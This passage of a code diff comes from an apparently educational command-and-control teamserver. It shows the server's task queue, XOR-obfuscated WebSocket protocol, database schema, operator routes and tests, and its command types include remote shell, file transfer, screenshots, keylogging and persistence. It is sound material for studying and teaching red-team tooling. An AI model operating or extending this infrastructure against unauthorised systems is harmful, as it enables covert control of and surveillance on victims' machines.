def __init__(self) -> None:
|
||||
"""
|
||||
Initialize empty queue registry
|
||||
"""
|
||||
self._queues: dict[str, asyncio.Queue[TaskRecord]] = {}
|
||||
|
||||
def _ensure_queue(self, beacon_id: str) -> asyncio.Queue[TaskRecord]:
|
||||
"""
|
||||
Create a task queue for a beacon if one does not exist
|
||||
"""
|
||||
if beacon_id not in self._queues:
|
||||
self._queues[beacon_id] = asyncio.Queue()
|
||||
return self._queues[beacon_id]
|
||||
|
||||
async def submit(
|
||||
self,
|
||||
task: TaskRecord,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Persist a task to SQLite and enqueue it for beacon delivery
|
||||
"""
|
||||
await db.execute(
|
||||
"""
|
||||
INSERT INTO tasks (id, beacon_id, command, args, status, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?)
|
||||
""",
|
||||
(
|
||||
task.id,
|
||||
task.beacon_id,
|
||||
task.command,
|
||||
task.args,
|
||||
task.status,
|
||||
task.created_at,
|
||||
),
|
||||
)
|
||||
await db.commit()
|
||||
|
||||
queue = self._ensure_queue(task.beacon_id)
|
||||
await queue.put(task)
|
||||
|
||||
async def get_next(self, beacon_id: str) -> TaskRecord:
|
||||
"""
|
||||
Await the next task for a beacon (blocks until available)
|
||||
"""
|
||||
queue = self._ensure_queue(beacon_id)
|
||||
return await queue.get()
|
||||
|
||||
async def store_result(
|
||||
self,
|
||||
result: TaskResult,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Persist a task result and mark the parent task as completed
|
||||
"""
|
||||
await db.execute(
|
||||
"""
|
||||
INSERT INTO task_results (id, task_id, output, error, created_at)
|
||||
VALUES (?, ?, ?, ?, ?)
|
||||
""",
|
||||
(
|
||||
result.id,
|
||||
result.task_id,
|
||||
result.output,
|
||||
result.error,
|
||||
result.created_at,
|
||||
),
|
||||
)
|
||||
await db.execute(
|
||||
"UPDATE tasks SET status = 'completed', completed_at = ? WHERE id = ?",
|
||||
(result.created_at,
|
||||
result.task_id),
|
||||
)
|
||||
await db.commit()
|
||||
|
||||
async def get_history(
|
||||
self,
|
||||
beacon_id: str,
|
||||
db: aiosqlite.Connection,
|
||||
) -> list[dict[str,
|
||||
str | None]]:
|
||||
"""
|
||||
Retrieve task history with results for a specific beacon
|
||||
"""
|
||||
cursor = await db.execute(
|
||||
"""
|
||||
SELECT
|
||||
t.id, t.command, t.args, t.status, t.created_at, t.completed_at,
|
||||
tr.output, tr.error
|
||||
FROM tasks t
|
||||
LEFT JOIN task_results tr ON t.id = tr.task_id
|
||||
WHERE t.beacon_id = ?
|
||||
ORDER BY t.created_at DESC
|
||||
""",
|
||||
(beacon_id,
|
||||
),
|
||||
)
|
||||
rows = await cursor.fetchall()
|
||||
return [dict(row) for row in rows]
|
||||
|
||||
def remove_queue(self, beacon_id: str) -> None:
|
||||
"""
|
||||
Clean up the task queue when a beacon disconnects
|
||||
"""
|
||||
self._queues.pop(beacon_id, None)
|
||||
|
|
@ -0,0 +1,63 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
config.py
|
||||
"""
|
||||
|
||||
from functools import lru_cache
|
||||
from pathlib import Path
|
||||
from typing import Literal
|
||||
|
||||
from pydantic import Field
|
||||
from pydantic_settings import BaseSettings, SettingsConfigDict
|
||||
|
||||
_PROJECT_ROOT = Path(__file__).resolve().parent.parent.parent
|
||||
_ENV_FILE = _PROJECT_ROOT / ".env"
|
||||
|
||||
|
||||
class Settings(BaseSettings):
|
||||
"""
|
||||
Application settings loaded from environment variables
|
||||
"""
|
||||
|
||||
model_config = SettingsConfigDict(
|
||||
env_file = _ENV_FILE,
|
||||
env_file_encoding = "utf-8",
|
||||
case_sensitive = False,
|
||||
extra = "ignore",
|
||||
)
|
||||
|
||||
APP_NAME: str = "C2 Beacon Server"
|
||||
APP_VERSION: str = "1.0.0"
|
||||
|
||||
ENVIRONMENT: Literal["development", "production"] = "development"
|
||||
DEBUG: bool = False
|
||||
|
||||
HOST: str = "0.0.0.0"
|
||||
PORT: int = 8000
|
||||
RELOAD: bool = True
|
||||
|
||||
DATABASE_PATH: Path = Path("data/c2.db")
|
||||
|
||||
XOR_KEY: str = Field(
|
||||
default = "c2-beacon-default-key-change-me",
|
||||
min_length = 8,
|
||||
)
|
||||
|
||||
CORS_ORIGINS: list[str] = [
|
||||
"http://localhost",
|
||||
"http://localhost:47430",
|
||||
"http://localhost:47432",
|
||||
]
|
||||
|
||||
LOG_LEVEL: Literal["DEBUG", "INFO", "WARNING", "ERROR", "CRITICAL"] = "INFO"
|
||||
|
||||
|
||||
@lru_cache
|
||||
def get_settings() -> Settings:
|
||||
"""
|
||||
Cached settings instance to avoid repeated env parsing
|
||||
"""
|
||||
return Settings()
|
||||
|
||||
|
||||
settings = get_settings()
|
||||
|
|
@ -0,0 +1,31 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
encoding.py
|
||||
"""
|
||||
|
||||
import base64
|
||||
|
||||
|
||||
def xor_bytes(data: bytes, key: bytes) -> bytes:
|
||||
"""
|
||||
XOR each byte of data with a repeating key
|
||||
"""
|
||||
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
|
||||
|
||||
|
||||
def encode(payload: str, key: str) -> str:
|
||||
"""
|
||||
Encode a plaintext payload: UTF-8 bytes -> XOR -> Base64 string
|
||||
"""
|
||||
raw = payload.encode("utf-8")
|
||||
xored = xor_bytes(raw, key.encode("utf-8"))
|
||||
return base64.b64encode(xored).decode("ascii")
|
||||
|
||||
|
||||
def decode(encoded: str, key: str) -> str:
|
||||
"""
|
||||
Decode an encoded payload: Base64 string -> XOR -> UTF-8 string
|
||||
"""
|
||||
xored = base64.b64decode(encoded)
|
||||
raw = xor_bytes(xored, key.encode("utf-8"))
|
||||
return raw.decode("utf-8")
|
||||
|
|
@ -0,0 +1,85 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
models.py
|
||||
"""
|
||||
|
||||
from datetime import UTC, datetime
|
||||
from enum import StrEnum
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
|
||||
class CommandType(StrEnum):
|
||||
"""
|
||||
Supported beacon command types mapped to MITRE ATT&CK techniques
|
||||
"""
|
||||
|
||||
SHELL = "shell"
|
||||
SYSINFO = "sysinfo"
|
||||
PROCLIST = "proclist"
|
||||
UPLOAD = "upload"
|
||||
DOWNLOAD = "download"
|
||||
SCREENSHOT = "screenshot"
|
||||
KEYLOG_START = "keylog_start"
|
||||
KEYLOG_STOP = "keylog_stop"
|
||||
PERSIST = "persist"
|
||||
SLEEP = "sleep"
|
||||
|
||||
|
||||
class BeaconMeta(BaseModel):
|
||||
"""
|
||||
Metadata collected from a beacon during registration
|
||||
"""
|
||||
|
||||
hostname: str
|
||||
os: str
|
||||
username: str
|
||||
pid: int
|
||||
internal_ip: str
|
||||
arch: str
|
||||
|
||||
|
||||
class BeaconRecord(BeaconMeta):
|
||||
"""
|
||||
Full beacon record including server-assigned fields
|
||||
"""
|
||||
|
||||
id: str
|
||||
first_seen: str
|
||||
last_seen: str
|
||||
|
||||
|
||||
class TaskRequest(BaseModel):
|
||||
"""
|
||||
Operator-submitted task targeting a specific beacon
|
||||
"""
|
||||
|
||||
beacon_id: str
|
||||
command: CommandType
|
||||
args: str | None = None
|
||||
|
||||
|
||||
class TaskRecord(BaseModel):
|
||||
"""
|
||||
Persisted task with tracking metadata
|
||||
"""
|
||||
|
||||
id: str
|
||||
beacon_id: str
|
||||
command: CommandType
|
||||
args: str | None = None
|
||||
status: str = "pending"
|
||||
created_at: str = Field(default_factory = lambda: datetime.now(UTC).isoformat())
|
||||
completed_at: str | None = None
|
||||
|
||||
|
||||
class TaskResult(BaseModel):
|
||||
"""
|
||||
Result returned by a beacon after executing a task
|
||||
"""
|
||||
|
||||
id: str
|
||||
task_id: str
|
||||
output: str | None = None
|
||||
error: str | None = None
|
||||
created_at: str = Field(default_factory = lambda: datetime.now(UTC).isoformat())
|
||||
|
|
@ -0,0 +1,59 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
protocol.py
|
||||
"""
|
||||
|
||||
import binascii
|
||||
import json
|
||||
from enum import StrEnum
|
||||
from typing import Any
|
||||
|
||||
from pydantic import BaseModel, ValidationError
|
||||
|
||||
from app.core.encoding import decode, encode
|
||||
|
||||
|
||||
class MessageType(StrEnum):
|
||||
"""
|
||||
WebSocket message types in the C2 protocol
|
||||
"""
|
||||
|
||||
REGISTER = "REGISTER"
|
||||
HEARTBEAT = "HEARTBEAT"
|
||||
TASK = "TASK"
|
||||
RESULT = "RESULT"
|
||||
ERROR = "ERROR"
|
||||
|
||||
|
||||
class Message(BaseModel):
|
||||
"""
|
||||
Protocol envelope wrapping all WebSocket communications
|
||||
"""
|
||||
|
||||
type: MessageType
|
||||
payload: dict[str, Any]
|
||||
|
||||
|
||||
def pack(message: Message, key: str) -> str:
|
||||
"""
|
||||
Serialize a Message to an XOR+Base64 encoded string
|
||||
"""
|
||||
raw_json = message.model_dump_json()
|
||||
return encode(raw_json, key)
|
||||
|
||||
|
||||
def unpack(raw: str, key: str) -> Message:
|
||||
"""
|
||||
Decode an XOR+Base64 string into a validated Message
|
||||
"""
|
||||
try:
|
||||
decoded_json = decode(raw, key)
|
||||
data = json.loads(decoded_json)
|
||||
return Message.model_validate(data)
|
||||
except (
|
||||
json.JSONDecodeError,
|
||||
ValidationError,
|
||||
UnicodeDecodeError,
|
||||
binascii.Error,
|
||||
) as exc:
|
||||
raise ValueError(f"Invalid protocol message: {exc}") from exc
|
||||
|
|
@ -0,0 +1,71 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
database.py
|
||||
"""
|
||||
|
||||
from collections.abc import AsyncIterator
|
||||
from contextlib import asynccontextmanager
|
||||
|
||||
import aiosqlite
|
||||
|
||||
from app.config import settings
|
||||
|
||||
SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS beacons (
|
||||
id TEXT PRIMARY KEY,
|
||||
hostname TEXT NOT NULL,
|
||||
os TEXT NOT NULL,
|
||||
username TEXT NOT NULL,
|
||||
pid INTEGER NOT NULL,
|
||||
internal_ip TEXT NOT NULL,
|
||||
arch TEXT NOT NULL,
|
||||
first_seen TEXT NOT NULL,
|
||||
last_seen TEXT NOT NULL
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS tasks (
|
||||
id TEXT PRIMARY KEY,
|
||||
beacon_id TEXT NOT NULL,
|
||||
command TEXT NOT NULL,
|
||||
args TEXT,
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
created_at TEXT NOT NULL,
|
||||
completed_at TEXT,
|
||||
FOREIGN KEY (beacon_id) REFERENCES beacons(id)
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS task_results (
|
||||
id TEXT PRIMARY KEY,
|
||||
task_id TEXT NOT NULL UNIQUE,
|
||||
output TEXT,
|
||||
error TEXT,
|
||||
created_at TEXT NOT NULL,
|
||||
FOREIGN KEY (task_id) REFERENCES tasks(id)
|
||||
);
|
||||
"""
|
||||
|
||||
|
||||
async def init_db() -> None:
|
||||
"""
|
||||
Create database directory and initialize schema
|
||||
"""
|
||||
settings.DATABASE_PATH.parent.mkdir(parents = True, exist_ok = True)
|
||||
async with aiosqlite.connect(settings.DATABASE_PATH) as db:
|
||||
await db.executescript(SCHEMA)
|
||||
await db.execute("PRAGMA journal_mode=WAL")
|
||||
await db.execute("PRAGMA foreign_keys=ON")
|
||||
await db.commit()
|
||||
|
||||
|
||||
@asynccontextmanager
|
||||
async def get_db() -> AsyncIterator[aiosqlite.Connection]:
|
||||
"""
|
||||
Async context manager yielding a database connection
|
||||
"""
|
||||
db = await aiosqlite.connect(settings.DATABASE_PATH)
|
||||
db.row_factory = aiosqlite.Row
|
||||
await db.execute("PRAGMA foreign_keys=ON")
|
||||
try:
|
||||
yield db
|
||||
finally:
|
||||
await db.close()
|
||||
|
|
@ -0,0 +1,61 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
manager.py
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
from typing import Any
|
||||
|
||||
from fastapi import WebSocket
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class OpsManager:
|
||||
"""
|
||||
Manages operator WebSocket connections and broadcasts C2 events
|
||||
"""
|
||||
def __init__(self) -> None:
|
||||
"""
|
||||
Initialize empty operator connection set
|
||||
"""
|
||||
self._connections: set[WebSocket] = set()
|
||||
|
||||
async def connect(self, ws: WebSocket) -> None:
|
||||
"""
|
||||
Accept and track a new operator WebSocket connection
|
||||
"""
|
||||
await ws.accept()
|
||||
self._connections.add(ws)
|
||||
logger.info("Operator connected (%d total)", len(self._connections))
|
||||
|
||||
def disconnect(self, ws: WebSocket) -> None:
|
||||
"""
|
||||
Remove an operator WebSocket connection
|
||||
"""
|
||||
self._connections.discard(ws)
|
||||
logger.info("Operator disconnected (%d remaining)", len(self._connections))
|
||||
|
||||
async def broadcast(self, event: dict[str, Any]) -> None:
|
||||
"""
|
||||
Send an event to all connected operators, removing stale connections
|
||||
"""
|
||||
stale: list[WebSocket] = []
|
||||
payload = json.dumps(event)
|
||||
|
||||
for ws in self._connections:
|
||||
try:
|
||||
await ws.send_text(payload)
|
||||
except (ConnectionError, RuntimeError):
|
||||
stale.append(ws)
|
||||
|
||||
for ws in stale:
|
||||
self._connections.discard(ws)
|
||||
|
||||
@property
|
||||
def connection_count(self) -> int:
|
||||
"""
|
||||
Number of active operator connections
|
||||
"""
|
||||
return len(self._connections)
|
||||
|
|
@ -0,0 +1,137 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
router.py
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import uuid
|
||||
from typing import Any
|
||||
|
||||
from fastapi import APIRouter, HTTPException, Request, WebSocket, WebSocketDisconnect
|
||||
|
||||
from app.beacon.registry import BeaconRegistry
|
||||
from app.beacon.tasking import TaskManager
|
||||
from app.core.models import CommandType, TaskRecord
|
||||
from app.database import get_db
|
||||
from app.ops.manager import OpsManager
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
ws_router = APIRouter()
|
||||
rest_router = APIRouter()
|
||||
|
||||
|
||||
@ws_router.websocket("/operator")
|
||||
async def operator_websocket(ws: WebSocket) -> None:
|
||||
"""
|
||||
WebSocket endpoint for operator dashboard connections
|
||||
"""
|
||||
ops_manager: OpsManager = ws.app.state.ops_manager
|
||||
registry: BeaconRegistry = ws.app.state.registry
|
||||
task_manager: TaskManager = ws.app.state.task_manager
|
||||
|
||||
await ops_manager.connect(ws)
|
||||
|
||||
try:
|
||||
async with get_db() as db:
|
||||
beacons = await registry.get_all(db)
|
||||
|
||||
beacon_list = []
|
||||
for b in beacons:
|
||||
record = b.model_dump()
|
||||
record["active"] = registry.is_active(b.id)
|
||||
beacon_list.append(record)
|
||||
|
||||
await ws.send_text(json.dumps({
|
||||
"type": "beacon_list",
|
||||
"payload": beacon_list,
|
||||
}))
|
||||
|
||||
while True:
|
||||
raw = await ws.receive_text()
|
||||
data = json.loads(raw)
|
||||
|
||||
if data.get("type") == "submit_task":
|
||||
payload = data["payload"]
|
||||
task = TaskRecord(
|
||||
id = str(uuid.uuid4()),
|
||||
beacon_id = payload["beacon_id"],
|
||||
command = CommandType(payload["command"]),
|
||||
args = payload.get("args"),
|
||||
)
|
||||
|
||||
async with get_db() as db:
|
||||
await task_manager.submit(task, db)
|
||||
|
||||
await ws.send_text(
|
||||
json.dumps(
|
||||
{
|
||||
"type": "task_submitted",
|
||||
"payload": {
|
||||
"local_id": payload.get("local_id"),
|
||||
"task_id": task.id,
|
||||
},
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"Task %s (%s) submitted for beacon %s",
|
||||
task.id,
|
||||
task.command,
|
||||
task.beacon_id,
|
||||
)
|
||||
|
||||
except WebSocketDisconnect:
|
||||
pass
|
||||
except json.JSONDecodeError:
|
||||
logger.warning("Invalid JSON from operator")
|
||||
finally:
|
||||
ops_manager.disconnect(ws)
|
||||
|
||||
|
||||
@rest_router.get("/beacons")
|
||||
async def list_beacons(request: Request) -> list[dict[str, Any]]:
|
||||
"""
|
||||
List all known beacons with active connection status
|
||||
"""
|
||||
registry: BeaconRegistry = request.app.state.registry
|
||||
async with get_db() as db:
|
||||
beacons = await registry.get_all(db)
|
||||
|
||||
result = []
|
||||
for b in beacons:
|
||||
record = b.model_dump()
|
||||
record["active"] = registry.is_active(b.id)
|
||||
result.append(record)
|
||||
return result
|
||||
|
||||
|
||||
@rest_router.get("/beacons/{beacon_id}")
|
||||
async def get_beacon(request: Request, beacon_id: str) -> dict[str, Any]:
|
||||
"""
|
||||
Retrieve a single beacon by ID with active status
|
||||
"""
|
||||
registry: BeaconRegistry = request.app.state.registry
|
||||
async with get_db() as db:
|
||||
beacon = await registry.get_one(beacon_id, db)
|
||||
|
||||
if beacon is None:
|
||||
raise HTTPException(status_code = 404, detail = "Beacon not found")
|
||||
|
||||
record = beacon.model_dump()
|
||||
record["active"] = registry.is_active(beacon_id)
|
||||
return record
|
||||
|
||||
|
||||
@rest_router.get("/beacons/{beacon_id}/tasks")
|
||||
async def beacon_task_history(request: Request,
|
||||
beacon_id: str) -> list[dict[str,
|
||||
str | None]]:
|
||||
"""
|
||||
Retrieve task history with results for a specific beacon
|
||||
"""
|
||||
task_manager: TaskManager = request.app.state.task_manager
|
||||
async with get_db() as db:
|
||||
return await task_manager.get_history(beacon_id, db)
|
||||
|
|
@ -0,0 +1,165 @@
|
|||
[project]
|
||||
name = "c2-beacon-server"
|
||||
version = "1.0.0"
|
||||
description = "C2 beacon teamserver for security research and education"
|
||||
requires-python = ">=3.12"
|
||||
authors = [
|
||||
{name = "CarterPerez-dev", email = "support@certgames.com"}
|
||||
]
|
||||
readme = "README.md"
|
||||
license = {text = "AGPL-3.0"}
|
||||
|
||||
dependencies = [
|
||||
"fastapi[standard]>=0.129.0",
|
||||
"pydantic>=2.12.5,<3.0.0",
|
||||
"pydantic-settings>=2.12.0,<3.0.0",
|
||||
"aiosqlite>=0.22.1",
|
||||
"uvicorn[standard]>=0.40.0",
|
||||
"gunicorn>=25.1.0",
|
||||
]
|
||||
|
||||
[project.optional-dependencies]
|
||||
dev = [
|
||||
"pytest>=9.0.2",
|
||||
"pytest-asyncio>=1.3.0",
|
||||
"pytest-cov>=7.0.0",
|
||||
"httpx>=0.28.1",
|
||||
"ruff>=0.15.1",
|
||||
"mypy>=1.19.1",
|
||||
"pylint>=4.0.4",
|
||||
]
|
||||
|
||||
[build-system]
|
||||
requires = ["hatchling"]
|
||||
build-backend = "hatchling.build"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = ["app"]
|
||||
|
||||
|
||||
[tool.ruff]
|
||||
target-version = "py312"
|
||||
line-length = 88
|
||||
src = ["app"]
|
||||
|
||||
[tool.ruff.lint]
|
||||
select = [
|
||||
"E", # pycodestyle errors
|
||||
"W", # pycodestyle warnings
|
||||
"F", # pyflakes
|
||||
"B", # flake8-bugbear
|
||||
"C4", # flake8-comprehensions
|
||||
"UP", # pyupgrade
|
||||
"ARG", # flake8-unused-arguments
|
||||
"SIM", # flake8-simplify
|
||||
"PTH", # flake8-use-pathlib
|
||||
"RUF", # ruff-specific
|
||||
"ASYNC", # flake8-async
|
||||
"S", # flake8-bandit (security)
|
||||
"N", # pep8-naming
|
||||
"I", # isort
|
||||
]
|
||||
ignore = [
|
||||
"E501", # line too long (formatter handles)
|
||||
"B008", # function call in default argument (FastAPI Depends)
|
||||
"S101", # assert usage (needed for tests)
|
||||
"S104", # 0.0.0.0 binding (intentional for Docker)
|
||||
"ARG001", # unused function argument (common in FastAPI deps)
|
||||
"N818", # exception naming convention
|
||||
"RUF005", # list concatenation style
|
||||
]
|
||||
|
||||
[tool.ruff.lint.per-file-ignores]
|
||||
"tests/**/*.py" = ["S101", "ARG001"]
|
||||
|
||||
|
||||
[tool.mypy]
|
||||
python_version = "3.12"
|
||||
strict = true
|
||||
warn_return_any = true
|
||||
warn_unused_ignores = true
|
||||
disallow_untyped_defs = true
|
||||
disallow_incomplete_defs = true
|
||||
exclude = [".venv", "venv"]
|
||||
|
||||
[[tool.mypy.overrides]]
|
||||
module = ["tests.*", "conftest"]
|
||||
ignore_errors = true
|
||||
|
||||
[[tool.mypy.overrides]]
|
||||
module = ["aiosqlite", "aiosqlite.*"]
|
||||
ignore_missing_imports = true
|
||||
|
||||
|
||||
[tool.pylint.main]
|
||||
py-version = "3.12"
|
||||
jobs = 4
|
||||
persistent = true
|
||||
ignore = [
|
||||
"venv",
|
||||
".venv",
|
||||
"__pycache__",
|
||||
"build",
|
||||
"dist",
|
||||
".git",
|
||||
".pytest_cache",
|
||||
".mypy_cache",
|
||||
".ruff_cache",
|
||||
]
|
||||
ignore-paths = [
|
||||
"^venv/.*",
|
||||
"^.venv/.*",
|
||||
"^build/.*",
|
||||
"^dist/.*",
|
||||
]
|
||||
|
||||
[tool.pylint.messages_control]
|
||||
disable = [
|
||||
"C0103", # invalid-name
|
||||
"C0116", # missing-function-docstring
|
||||
"C0301", # line-too-long
|
||||
"C0302", # too-many-lines
|
||||
"C0303", # trailing-whitespace
|
||||
"C0304", # final-newline-missing
|
||||
"C0305", # trailing-newlines
|
||||
"C0411", # wrong-import-order
|
||||
"C0412", # ungrouped-imports
|
||||
"E0401", # import-error
|
||||
"R0801", # similar-lines
|
||||
"R0903", # too-few-public-methods
|
||||
"W0611", # unused-import (handled by ruff)
|
||||
"W0612", # unused-variable (handled by ruff)
|
||||
"W0613", # unused-argument (handled by ruff)
|
||||
"W0621", # redefined-outer-name
|
||||
]
|
||||
|
||||
[tool.pylint.format]
|
||||
max-line-length = 95
|
||||
|
||||
[tool.pylint.design]
|
||||
max-args = 10
|
||||
max-attributes = 12
|
||||
max-branches = 15
|
||||
max-locals = 20
|
||||
max-statements = 55
|
||||
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
asyncio_mode = "auto"
|
||||
asyncio_default_fixture_loop_scope = "function"
|
||||
testpaths = ["tests"]
|
||||
addopts = "-ra -q"
|
||||
filterwarnings = [
|
||||
"ignore::DeprecationWarning",
|
||||
]
|
||||
|
||||
[tool.coverage.run]
|
||||
branch = true
|
||||
source = ["app"]
|
||||
|
||||
[tool.coverage.report]
|
||||
exclude_lines = [
|
||||
"pragma: no cover",
|
||||
"if TYPE_CHECKING:",
|
||||
"raise NotImplementedError",
|
||||
]
|
||||
|
|
@ -0,0 +1,32 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
conftest.py
|
||||
"""
|
||||
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
|
||||
from config import Settings
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def tmp_db_path(tmp_path: Path) -> Path:
|
||||
"""
|
||||
Provide a temporary database path for test isolation
|
||||
"""
|
||||
return tmp_path / "test_c2.db"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def test_settings(tmp_db_path: Path) -> Settings:
|
||||
"""
|
||||
Settings override pointing to a temporary database
|
||||
"""
|
||||
return Settings(
|
||||
DATABASE_PATH=tmp_db_path,
|
||||
XOR_KEY="test-xor-key-12345",
|
||||
ENVIRONMENT="development",
|
||||
DEBUG=True,
|
||||
)
|
||||
|
|
@ -0,0 +1,86 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
test_app.py
|
||||
"""
|
||||
|
||||
from pathlib import Path
|
||||
|
||||
import pytest
|
||||
from httpx import ASGITransport, AsyncClient
|
||||
|
||||
from beacon.registry import BeaconRegistry
|
||||
from beacon.tasking import TaskManager
|
||||
from database import init_db
|
||||
from ops.manager import OpsManager
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
async def client(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> AsyncClient:
|
||||
"""
|
||||
Provide an async HTTP client with a test app using isolated database
|
||||
"""
|
||||
test_db_path = tmp_path / "test.db"
|
||||
|
||||
import config
|
||||
monkeypatch.setattr(config.settings, "DATABASE_PATH", test_db_path)
|
||||
monkeypatch.setattr(config.settings, "APP_NAME", "C2 Beacon Server")
|
||||
|
||||
import database
|
||||
monkeypatch.setattr(database, "settings", config.settings)
|
||||
|
||||
await init_db()
|
||||
|
||||
from app.__main__ import create_app
|
||||
|
||||
test_app = create_app()
|
||||
test_app.state.registry = BeaconRegistry()
|
||||
test_app.state.task_manager = TaskManager()
|
||||
test_app.state.ops_manager = OpsManager()
|
||||
|
||||
transport = ASGITransport(app=test_app)
|
||||
async with AsyncClient(transport=transport, base_url="http://test") as ac:
|
||||
yield ac
|
||||
|
||||
|
||||
class TestHealthAndRoot:
|
||||
"""
|
||||
Verify health check and root information endpoints
|
||||
"""
|
||||
|
||||
async def test_health_returns_200(self, client: AsyncClient) -> None:
|
||||
"""
|
||||
Health endpoint responds with 200 and status healthy
|
||||
"""
|
||||
response = await client.get("/health")
|
||||
assert response.status_code == 200
|
||||
assert response.json()["status"] == "healthy"
|
||||
|
||||
async def test_root_returns_app_info(self, client: AsyncClient) -> None:
|
||||
"""
|
||||
Root endpoint returns application name and version
|
||||
"""
|
||||
response = await client.get("/")
|
||||
data = response.json()
|
||||
assert "name" in data
|
||||
assert "version" in data
|
||||
|
||||
|
||||
class TestBeaconEndpoints:
|
||||
"""
|
||||
Verify REST beacon listing endpoints
|
||||
"""
|
||||
|
||||
async def test_list_beacons_empty(self, client: AsyncClient) -> None:
|
||||
"""
|
||||
Beacons list returns empty array with no registered beacons
|
||||
"""
|
||||
response = await client.get("/beacons")
|
||||
assert response.status_code == 200
|
||||
assert response.json() == []
|
||||
|
||||
async def test_get_beacon_not_found(self, client: AsyncClient) -> None:
|
||||
"""
|
||||
Non-existent beacon ID returns 404
|
||||
"""
|
||||
response = await client.get("/beacons/nonexistent")
|
||||
assert response.status_code == 404
|
||||
|
|
@ -0,0 +1,83 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
test_encoding.py
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
from core.encoding import decode, encode, xor_bytes
|
||||
|
||||
|
||||
class TestXorBytes:
|
||||
"""
|
||||
Verify XOR byte transformation correctness
|
||||
"""
|
||||
|
||||
def test_roundtrip(self) -> None:
|
||||
"""
|
||||
XOR applied twice with the same key returns original data
|
||||
"""
|
||||
data = b"hello world"
|
||||
key = b"secret"
|
||||
assert xor_bytes(xor_bytes(data, key), key) == data
|
||||
|
||||
def test_single_byte_key(self) -> None:
|
||||
"""
|
||||
XOR works correctly with a single-byte key
|
||||
"""
|
||||
data = b"\x00\x01\x02\x03"
|
||||
key = b"\xff"
|
||||
result = xor_bytes(data, key)
|
||||
assert result == b"\xff\xfe\xfd\xfc"
|
||||
|
||||
def test_empty_data(self) -> None:
|
||||
"""
|
||||
XOR of empty data returns empty bytes
|
||||
"""
|
||||
assert xor_bytes(b"", b"key") == b""
|
||||
|
||||
|
||||
class TestEncodeDecode:
|
||||
"""
|
||||
Verify the full encode/decode pipeline
|
||||
"""
|
||||
|
||||
def test_roundtrip_ascii(self) -> None:
|
||||
"""
|
||||
ASCII payload survives encode -> decode
|
||||
"""
|
||||
payload = '{"type": "REGISTER", "payload": {"hostname": "test"}}'
|
||||
key = "my-secret-key"
|
||||
assert decode(encode(payload, key), key) == payload
|
||||
|
||||
def test_roundtrip_unicode(self) -> None:
|
||||
"""
|
||||
Unicode payload survives encode -> decode
|
||||
"""
|
||||
payload = '{"name": "test-\u00e9\u00e8\u00ea"}'
|
||||
key = "unicode-key"
|
||||
assert decode(encode(payload, key), key) == payload
|
||||
|
||||
def test_different_keys_produce_different_output(self) -> None:
|
||||
"""
|
||||
Same payload with different keys produces different ciphertext
|
||||
"""
|
||||
payload = "identical payload"
|
||||
encoded_a = encode(payload, "key-alpha")
|
||||
encoded_b = encode(payload, "key-bravo")
|
||||
assert encoded_a != encoded_b
|
||||
|
||||
def test_wrong_key_produces_garbage(self) -> None:
|
||||
"""
|
||||
Decoding with the wrong key does not return the original payload
|
||||
"""
|
||||
payload = '{"command": "shell"}'
|
||||
encoded = encode(payload, "correct-key")
|
||||
decoded = decode(encoded, "wrong-key-here")
|
||||
assert decoded != payload
|
||||
|
||||
def test_empty_payload(self) -> None:
|
||||
"""
|
||||
Empty string survives encode -> decode
|
||||
"""
|
||||
assert decode(encode("", "key"), "key") == ""
|
||||
|
|
@ -0,0 +1,139 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
test_protocol.py
|
||||
"""
|
||||
|
||||
import pytest
|
||||
|
||||
from core.models import CommandType
|
||||
from core.protocol import Message, MessageType, pack, unpack
|
||||
|
||||
|
||||
TEST_KEY = "test-protocol-key"
|
||||
|
||||
|
||||
class TestPackUnpack:
|
||||
"""
|
||||
Verify protocol message serialization roundtrips
|
||||
"""
|
||||
|
||||
def test_register_roundtrip(self) -> None:
|
||||
"""
|
||||
REGISTER message survives pack -> unpack
|
||||
"""
|
||||
original = Message(
|
||||
type=MessageType.REGISTER,
|
||||
payload={
|
||||
"hostname": "desktop-01",
|
||||
"os": "Linux",
|
||||
"username": "root",
|
||||
"pid": 1234,
|
||||
"internal_ip": "10.0.0.5",
|
||||
"arch": "x86_64",
|
||||
},
|
||||
)
|
||||
packed = pack(original, TEST_KEY)
|
||||
restored = unpack(packed, TEST_KEY)
|
||||
assert restored.type == MessageType.REGISTER
|
||||
assert restored.payload["hostname"] == "desktop-01"
|
||||
assert restored.payload["pid"] == 1234
|
||||
|
||||
def test_task_roundtrip(self) -> None:
|
||||
"""
|
||||
TASK message survives pack -> unpack
|
||||
"""
|
||||
original = Message(
|
